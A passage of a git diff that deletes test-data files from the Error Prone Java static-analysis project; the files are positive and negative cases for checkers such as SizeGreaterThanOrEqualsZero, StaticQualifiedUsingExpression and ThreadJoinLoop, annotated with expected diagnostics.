value = new Object[] {}; - Object[][] args = new Object[][] {}; - - // BUG: Diagnostic contains: even number of arguments - assertThat(map).containsExactly(key, value, (Object) args); - } - - public void testWithOddArgsWithCorrespondence() { - assertThat(map) - .comparingValuesUsing(Correspondence.from((a, b) -> true, "dummy")) - // BUG: Diagnostic contains: even number of arguments - .containsExactly("hello", "there", "rest"); - - assertThat(map) - .comparingValuesUsing(Correspondence.from((a, b) -> true, "dummy")) - // BUG: Diagnostic contains: even number of arguments - .containsExactly("hello", "there", "hello", "there", "rest"); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SizeGreaterThanOrEqualsZeroNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SizeGreaterThanOrEqualsZeroNegativeCases.java deleted file mode 100644 index 17b9fe83979..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SizeGreaterThanOrEqualsZeroNegativeCases.java +++ /dev/null @@ -1,99 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage; -import java.util.ArrayList; -import java.util.Collection; -import java.util.HashSet; -import java.util.List; -import java.util.Set; - -/** - * @author glorioso@google.com (Nick Glorioso) - */ -public class SizeGreaterThanOrEqualsZeroNegativeCases { - private List intList = new ArrayList<>(); - private Set intSet = new HashSet<>(); - private Collection intCollection = intList; - - public boolean testEquality() { - boolean foo; - foo = intList.size() > 0; - foo = intSet.size() >= 1; - foo = intCollection.size() <= 0; - foo = intCollection.size() == 0; - foo = intCollection.size() < 0; - - if (new ArrayList().size() > 0) {} - - CollectionContainer baz = new CollectionContainer(); - if (baz.intList.size() >= 1) {} - if (baz.getIntList().size() >= 1) {} - - // These are incorrect comparisons, but we've chosen to not attempt to find these issues - foo = (((((new HasASizeMethod()))))).size() >= 0; - foo = new HasASizeMethod().length >= 0; - - return foo; - } - - private static int[] staticIntArray; - private int[] intArray; - private boolean[][] twoDarray; - - public boolean arrayLength() { - int zero = 0; - - boolean foo = intArray.length > 0; - foo = twoDarray.length >= 1; - foo = staticIntArray.length >= -1; - foo = twoDarray[0].length > 0; - foo = (((((twoDarray))))).length > zero; - - return foo; - } - - public void protoCount(TestProtoMessage msg) { - int zero = 0; - boolean foo; - foo = msg.getMultiFieldCount() > 0; - foo = 0 < msg.getMultiFieldCount(); - foo = 0 > msg.getMultiFieldCount(); - foo = msg.getMultiFieldCount() >= 1; - foo = msg.getMultiFieldCount() >= -1; - foo = msg.getMultiFieldCount() < 0; - foo = (((((msg))))).getMultiFieldCount() > zero; - foo = msg.getTestFieldNamedCount() >= 0; // Not a repeated field, just name ending in `count` - } - - private static class CollectionContainer { - List intList; - - List getIntList() { - return intList; - } - } - - private static class HasASizeMethod { - public int length = 0; - - public int size() { - return length; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SizeGreaterThanOrEqualsZeroPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SizeGreaterThanOrEqualsZeroPositiveCases.java deleted file mode 100644 index 6323bccd0e6..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SizeGreaterThanOrEqualsZeroPositiveCases.java +++ /dev/null @@ -1,155 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.collect.Iterables; -import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage; -import java.util.ArrayList; -import java.util.Collection; -import java.util.HashMap; -import java.util.HashSet; -import java.util.List; -import java.util.Map; -import java.util.Optional; -import java.util.Set; - -/** - * @author glorioso@google.com (Nick Glorioso) - */ -public class SizeGreaterThanOrEqualsZeroPositiveCases { - private List intList = new ArrayList<>(); - private Set intSet = new HashSet<>(); - private Map intMap = new HashMap<>(); - private Collection intCollection = intList; - - public boolean collectionSize() { - - // BUG: Diagnostic contains: !intList.isEmpty() - boolean foo = intList.size() >= 0; - - // BUG: Diagnostic contains: !intSet.isEmpty() - foo = intSet.size() >= 0; - - // BUG: Diagnostic contains: !intSet.isEmpty() - foo = 0 <= intSet.size(); - - // BUG: Diagnostic contains: !intMap.isEmpty() - foo = intMap.size() >= 0; - - // BUG: Diagnostic contains: !intCollection.isEmpty() - foo = intCollection.size() >= 0; - - // Yes, that works as java code - // BUG: Diagnostic contains: !new ArrayList().isEmpty() - if (new ArrayList().size() >= 0) {} - - CollectionContainer baz = new CollectionContainer(); - - // BUG: Diagnostic contains: !baz.intList.isEmpty() - if (baz.intList.size() >= 0) {} - - // BUG: Diagnostic contains: !baz.getIntList().isEmpty() - if (baz.getIntList().size() >= 0) {} - - // BUG: Diagnostic contains: !Iterables.isEmpty(baz.getIntList()) - foo = Iterables.size(baz.getIntList()) >= 0; - - return foo; - } - - public void stringLength() { - String myString = "foo"; - CharSequence charSequence = myString; - StringBuffer stringBuffer = new StringBuffer(myString); - StringBuilder stringBuilder = new StringBuilder(myString); - boolean foo = false; - - // BUG: Diagnostic contains: !myString.isEmpty() - foo = myString.length() >= 0; - - // BUG: Diagnostic contains: !"My String Literal".isEmpty() - foo = "My String Literal".length() >= 0; - - // BUG: Diagnostic contains: !myString.trim().substring(0).isEmpty(); - foo = myString.trim().substring(0).length() >= 0; - - // BUG: Diagnostic contains: charSequence.length() > 0 - foo = charSequence.length() >= 0; - - // BUG: Diagnostic contains: stringBuffer.length() > 0 - foo = stringBuffer.length() >= 0; - - // BUG: Diagnostic contains: 0 < stringBuffer.length() - foo = 0 <= stringBuffer.length(); - - // BUG: Diagnostic contains: stringBuilder.length() > 0 - foo = stringBuilder.length() >= 0; - } - - private static int[] staticIntArray; - private int[] intArray; - private boolean[][] twoDarray; - - public boolean arrayLength() { - - // BUG: Diagnostic contains: intArray.length > 0 - boolean foo = intArray.length >= 0; - - // BUG: Diagnostic contains: twoDarray.length > 0 - foo = twoDarray.length >= 0; - - // BUG: Diagnostic contains: staticIntArray.length > 0 - foo = staticIntArray.length >= 0; - - // BUG: Diagnostic contains: twoDarray[0].length > 0 - foo = twoDarray[0].length >= 0; - - // BUG: Diagnostic contains: 0 < twoDarray[0].length - foo = 0 <= twoDarray[0].length; - - // BUG: Diagnostic contains: (((((twoDarray))))).length > 0 - foo = (((((twoDarray))))).length >= 0; - - return foo; - } - - public void protoCount(TestProtoMessage msg) { - boolean foo; - // BUG: Diagnostic contains: foo = !msg.getMultiFieldList().isEmpty(); - foo = msg.getMultiFieldCount() >= 0; - // BUG: Diagnostic contains: foo = !msg.getMultiFieldList().isEmpty(); - foo = 0 <= msg.getMultiFieldCount(); - // BUG: Diagnostic contains: foo = !(((((msg))))).getMultiFieldList().isEmpty(); - foo = (((((msg))))).getMultiFieldCount() >= 0; - // BUG: Diagnostic contains: if (!this.getMsg(msg).get().getMultiFieldList().isEmpty()) { - if (this.getMsg(msg).get().getMultiFieldCount() >= 0) { - foo = true; - } - } - - private Optional getMsg(TestProtoMessage msg) { - return Optional.of(msg); - } - - private static class CollectionContainer { - List intList; - - List getIntList() { - return intList; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/StaticQualifiedUsingExpressionNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/StaticQualifiedUsingExpressionNegativeCases.java deleted file mode 100644 index dc12f66f9f2..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/StaticQualifiedUsingExpressionNegativeCases.java +++ /dev/null @@ -1,58 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author eaftan@google.com (Eddie Aftandilian) - */ -public class StaticQualifiedUsingExpressionNegativeCases { - - public static int staticVar1 = 1; - - public static void staticTestMethod() {} - - public void test1() { - Integer i = Integer.MAX_VALUE; - i = Integer.valueOf(10); - } - - public void test2() { - int i = staticVar1; - i = StaticQualifiedUsingExpressionNegativeCases.staticVar1; - } - - public void test3() { - test1(); - this.test1(); - new StaticQualifiedUsingExpressionNegativeCases().test1(); - staticTestMethod(); - } - - public void test4() { - Class klass = String[].class; - } - - @SuppressWarnings("static") - public void testJavacAltname() { - this.staticTestMethod(); - } - - @SuppressWarnings("static-access") - public void testEclipseAltname() { - this.staticTestMethod(); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/StaticQualifiedUsingExpressionPositiveCase1.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/StaticQualifiedUsingExpressionPositiveCase1.java deleted file mode 100644 index e6e3f80517f..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/StaticQualifiedUsingExpressionPositiveCase1.java +++ /dev/null @@ -1,177 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.math.BigDecimal; - -/** - * @author eaftan@google.com (Eddie Aftandilian) - */ -class MyClass { - - static int STATIC_FIELD = 42; - - static int staticMethod() { - return 42; - } - - int FIELD = 42; - - int method() { - return 42; - } - - static class StaticInnerClass { - static final MyClass myClass = new MyClass(); - } -} - -class MyStaticClass { - static MyClass myClass = new MyClass(); -} - -public class StaticQualifiedUsingExpressionPositiveCase1 { - - public static int staticVar1 = 1; - private StaticQualifiedUsingExpressionPositiveCase1 next; - - public static int staticTestMethod() { - return 1; - } - - public static Object staticTestMethod2() { - return new Object(); - } - - public static Object staticTestMethod3(Object x) { - return null; - } - - public void test1() { - StaticQualifiedUsingExpressionPositiveCase1 testObj = - new StaticQualifiedUsingExpressionPositiveCase1(); - int i; - - // BUG: Diagnostic contains: variable staticVar1 - // i = staticVar1 - i = this.staticVar1; - // BUG: Diagnostic contains: variable staticVar1 - // i = staticVar1 - i = testObj.staticVar1; - // BUG: Diagnostic contains: variable staticVar1 - // i = staticVar1 - i = testObj.next.next.next.staticVar1; - } - - public void test2() { - int i; - Integer integer = Integer.valueOf(1); - // BUG: Diagnostic contains: variable MAX_VALUE - // i = Integer.MAX_VALUE - i = integer.MAX_VALUE; - } - - public void test3() { - String s1 = new String(); - // BUG: Diagnostic contains: method valueOf - // String s2 = String.valueOf(10) - String s2 = s1.valueOf(10); - // BUG: Diagnostic contains: method valueOf - // s2 = String.valueOf(10) - s2 = new String().valueOf(10); - // BUG: Diagnostic contains: method staticTestMethod - // int i = staticTestMethod() - int i = this.staticTestMethod(); - // BUG: Diagnostic contains: method staticTestMethod2 - // String s3 = staticTestMethod2().toString - String s3 = this.staticTestMethod2().toString(); - // BUG: Diagnostic contains: method staticTestMethod - // i = staticTestMethod() - i = this.next.next.next.staticTestMethod(); - } - - public void test4() { - BigDecimal decimal = new BigDecimal(1); - // BUG: Diagnostic contains: method valueOf - // BigDecimal decimal2 = BigDecimal.valueOf(1) - BigDecimal decimal2 = decimal.valueOf(1); - } - - public static MyClass hiding; - - public void test5(MyClass hiding) { - // BUG: Diagnostic contains: method staticTestMethod3 - // Object o = staticTestMethod3(this.toString()) - Object o = this.staticTestMethod3(this.toString()); - // BUG: Diagnostic contains: variable myClass - // x = MyClass.StaticInnerClass.myClass.FIELD; - int x = new MyClass.StaticInnerClass().myClass.FIELD; - // BUG: Diagnostic contains: variable STATIC_FIELD - // x = MyClass.STATIC_FIELD; - x = new MyClass.StaticInnerClass().myClass.STATIC_FIELD; - // BUG: Diagnostic contains: variable hiding - // StaticQualifiedUsingExpressionPositiveCase1.hiding = hiding; - this.hiding = hiding; - // BUG: Diagnostic contains: variable STATIC_FIELD - // x = MyClass.STATIC_FIELD; - x = MyStaticClass.myClass.STATIC_FIELD; - // BUG: Diagnostic contains: method staticMethod - // x = MyClass.staticMethod(); - x = MyStaticClass.myClass.staticMethod(); - - x = MyStaticClass.myClass.FIELD; - x = MyStaticClass.myClass.method(); - } - - static class Bar { - static int baz = 0; - - static int baz() { - return 42; - } - } - - static class Foo { - static Bar bar; - } - - static void test6() { - Foo foo = new Foo(); - // BUG: Diagnostic contains: method baz - // x = Bar.baz(); - int x = Foo.bar.baz(); - Bar bar = Foo.bar; - // BUG: Diagnostic contains: variable bar - // bar = Foo.bar; - bar = foo.bar; - // BUG: Diagnostic contains: variable baz - // x = Bar.baz; - x = Foo.bar.baz; - } - - static class C { - static int foo() { - return 42; - } - } - - public void test7() { - // BUG: Diagnostic contains: method foo - // x = C.foo(); - int x = new C().foo(); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/StaticQualifiedUsingExpressionPositiveCase2.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/StaticQualifiedUsingExpressionPositiveCase2.java deleted file mode 100644 index 9ad06b2e82c..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/StaticQualifiedUsingExpressionPositiveCase2.java +++ /dev/null @@ -1,35 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author eaftan@google.com (Eddie Aftandilian) - */ -public class StaticQualifiedUsingExpressionPositiveCase2 { - - private static class TestClass { - public static int staticTestMethod() { - return 1; - } - } - - public int test1() { - // BUG: Diagnostic contains: method staticTestMethod - // return TestClass.staticTestMethod() - return new TestClass().staticTestMethod(); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/StringBuilderInitWithCharNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/StringBuilderInitWithCharNegativeCases.java deleted file mode 100644 index b832051d3bc..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/StringBuilderInitWithCharNegativeCases.java +++ /dev/null @@ -1,28 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author lowasser@google.com (Louis Wasserman) - */ -public class StringBuilderInitWithCharNegativeCases { - { - new StringBuilder("a"); - new StringBuilder(5); - new StringBuilder(); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/StringBuilderInitWithCharPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/StringBuilderInitWithCharPositiveCases.java deleted file mode 100644 index 3d3827ef8f0..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/StringBuilderInitWithCharPositiveCases.java +++ /dev/null @@ -1,32 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author lowasser@google.com (Louis Wasserman) - */ -public class StringBuilderInitWithCharPositiveCases { - { - // BUG: Diagnostic contains: new StringBuilder("a") - new StringBuilder('a'); - // BUG: Diagnostic contains: new StringBuilder("\"") - new StringBuilder('"'); - char c = 'c'; - // BUG: Diagnostic contains: new StringBuilder().append(c) - new StringBuilder(c); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/StringSplitterNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/StringSplitterNegativeCases.java deleted file mode 100644 index de59d21a0bc..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/StringSplitterNegativeCases.java +++ /dev/null @@ -1,34 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * Negative test cases for StringSplitter check. - * - * @author dturner@twosigma.com (David Turner) - */ -public class StringSplitterNegativeCases { - public void StringSplitTwoArgs() { - String foo = "a:b"; - foo.split(":", 1); - } - - public void StringSplitTwoArgsOneNegative() { - String foo = "a:b"; - foo.split(":", -1); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/StringSplitterPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/StringSplitterPositiveCases.java deleted file mode 100644 index bbfd5435955..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/StringSplitterPositiveCases.java +++ /dev/null @@ -1,31 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * Positive test cases for StringSplitter check. - * - * @author dturner@twosigma.com (David Turner) - */ -public class StringSplitterPositiveCases { - - public void StringSplitOneArg() { - String foo = "a:b"; - // BUG: Diagnostic contains: - String[] xs = foo.split(":"); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SuppressWarningsDeprecatedNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SuppressWarningsDeprecatedNegativeCases.java deleted file mode 100644 index f45fc94fd7b..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SuppressWarningsDeprecatedNegativeCases.java +++ /dev/null @@ -1,52 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * Negative cases for {@link SuppressWarningsDeprecated}. - * - * @author sjnickerson@google.com (Simon Nickerson) - */ -public class SuppressWarningsDeprecatedNegativeCases { - @SuppressWarnings({"deprecation"}) - public static void negativeCase1() {} - - @SuppressWarnings("deprecation") - public static void negativeCase2() {} - - public static void negativeCase3() { - @SuppressWarnings({"deprecation"}) - int a = 3; - } - - public static void negativeCase4() { - @SuppressWarnings("deprecation") - int a = 3; - } - - public static void negativeCase5() { - @SuppressWarnings({"deprecation"}) - class Foo {} - Foo a = null; - } - - public static void negativeCase6() { - @SuppressWarnings("deprecation") - class Bar {} - Bar b = null; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SuppressWarningsDeprecatedPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SuppressWarningsDeprecatedPositiveCases.java deleted file mode 100644 index ab56d12fd75..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SuppressWarningsDeprecatedPositiveCases.java +++ /dev/null @@ -1,70 +0,0 @@ -package com.google.errorprone.bugpatterns.testdata; -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -/** - * Positive cases for {@link SuppressWarningsDeprecated}. - * - * @author sjnickerson@google.com (Simon Nickerson) - */ -public class SuppressWarningsDeprecatedPositiveCases { - - // BUG: Diagnostic contains: @SuppressWarnings("deprecation") - @SuppressWarnings("deprecated") - public static void positiveCase1() {} - - // BUG: Diagnostic contains: @SuppressWarnings("deprecation") - @SuppressWarnings({"deprecated"}) - public static void positiveCase2() {} - - // BUG: Diagnostic contains: @SuppressWarnings({"deprecation", "foobarbaz"}) - @SuppressWarnings({"deprecated", "foobarbaz"}) - public static void positiveCase3() {} - - public static void positiveCase4() { - // BUG: Diagnostic contains: @SuppressWarnings({"deprecation", "foobarbaz"}) - @SuppressWarnings({"deprecated", "foobarbaz"}) - int a = 3; - } - - public static void positiveCase5() { - // BUG: Diagnostic contains: @SuppressWarnings("deprecation") - @SuppressWarnings("deprecated") - int a = 3; - } - - public static void positiveCase6() { - // BUG: Diagnostic contains: @SuppressWarnings("deprecation") - @SuppressWarnings("deprecated") - class Foo {} - ; - } - - public static void positiveCase7() { - // BUG: Diagnostic contains: @SuppressWarnings({"deprecation", "foobarbaz"}) - @SuppressWarnings({"deprecated", "foobarbaz"}) - class Foo {} - ; - } - - // BUG: Diagnostic contains: @SuppressWarnings(value = "deprecation") - @SuppressWarnings(value = {"deprecated"}) - public static void positiveCase8() {} - - // BUG: Diagnostic contains: @SuppressWarnings(value = "deprecation") - @SuppressWarnings(value = "deprecated") - public static void positiveCase9() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SwigMemoryLeakNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SwigMemoryLeakNegativeCases.java deleted file mode 100644 index 01c4654dcac..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SwigMemoryLeakNegativeCases.java +++ /dev/null @@ -1,47 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author irogers@google.com (Ian Rogers) - */ -public class SwigMemoryLeakNegativeCases { - private long swigCPtr; - protected boolean swigCMemOwn; - - public SwigMemoryLeakNegativeCases(long cPtr, boolean cMemoryOwn) { - swigCMemOwn = cMemoryOwn; - swigCPtr = cPtr; - } - - @SuppressWarnings("removal") // deprecated for removal starting in JDK 18 - protected void finalize() { - delete(); - } - - public synchronized void delete() { - if (swigCPtr != 0) { - if (swigCMemOwn) { - swigCMemOwn = false; - nativeDelete(swigCPtr); - } - swigCPtr = 0; - } - } - - private static native void nativeDelete(long cptr); -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SwigMemoryLeakPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SwigMemoryLeakPositiveCases.java deleted file mode 100644 index 47730cc8f44..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SwigMemoryLeakPositiveCases.java +++ /dev/null @@ -1,42 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author irogers@google.com (Ian Rogers) - */ -public class SwigMemoryLeakPositiveCases { - private long swigCPtr; - protected boolean swigCMemOwn; - - public SwigMemoryLeakPositiveCases(long cPtr, boolean cMemoryOwn) { - swigCMemOwn = cMemoryOwn; - swigCPtr = cPtr; - } - - public synchronized void delete() { - if (swigCPtr != 0) { - if (swigCMemOwn) { - swigCMemOwn = false; - // BUG: Diagnostic contains: SWIG generated code that can't call a C++ destructor will leak - // memory - throw new UnsupportedOperationException("C++ destructor does not have public access"); - } - swigCPtr = 0; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThreadJoinLoopNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThreadJoinLoopNegativeCases.java deleted file mode 100644 index 0ec66eeaf0c..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThreadJoinLoopNegativeCases.java +++ /dev/null @@ -1,135 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -import java.util.List; - -/** - * @author mariasam@google.com (Maria Sam) on 7/10/17. - */ -public class ThreadJoinLoopNegativeCases { - - public void basicCase(Thread thread) throws InterruptedException { - thread.join(); - } - - public void inIf(Thread thread) { - try { - if (7 == 7) { - thread.join(); - } - } catch (InterruptedException e) { - e.printStackTrace(); - } - } - - public void basicCaseTry(Thread thread) { - try { - thread.join(); - } catch (InterruptedException e) { - e.printStackTrace(); - } - } - - public void basicCaseWhile(Thread thread, List list) { - while (list.size() == 7) { - try { - thread.join(); - } catch (InterruptedException e) { - e.printStackTrace(); - } - } - } - - public void basicCaseFor(Thread thread, List list) { - for (int i = 0; i < list.size(); i++) { - try { - thread.join(); - } catch (InterruptedException e) { - e.printStackTrace(); - } - } - } - - public void basicCaseForEach(Thread thread, List list) { - for (String str : list) { - try { - thread.join(); - } catch (InterruptedException e) { - e.printStackTrace(); - } - } - } - - public void multipleCatches(Thread thread, int[] arr) { - try { - thread.join(); - int test = arr[10]; - } catch (ArrayIndexOutOfBoundsException e) { - // ignore - } catch (InterruptedException e) { - System.out.println("test"); - } - } - - public void fullInterruptedFullException(Thread thread) { - try { - thread.join(); - } catch (InterruptedException e) { - e.printStackTrace(); - } catch (Exception e) { - e.printStackTrace(); - } - } - - public void justException(Thread thread) { - try { - thread.join(); - } catch (Exception e) { - e.printStackTrace(); - } - } - - public void multipleMethodInvocations(Thread thread, Thread thread2) { - try { - thread.join(); - thread2.join(); - } catch (Exception e) { - e.printStackTrace(); - } - } - - public void tryFinally(Thread thread) { - try { - thread.join(); - } catch (InterruptedException e) { - // ignore - } finally { - System.out.println("test finally"); - } - } - - public void tryAssigningThread(Thread thread) { - while (true) { - try { - thread.join(); - thread = null; - } catch (InterruptedException e) { - // ignore - } - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThreadJoinLoopPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThreadJoinLoopPositiveCases.java deleted file mode 100644 index 3b4f754cc48..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThreadJoinLoopPositiveCases.java +++ /dev/null @@ -1,184 +0,0 @@ -/* - * 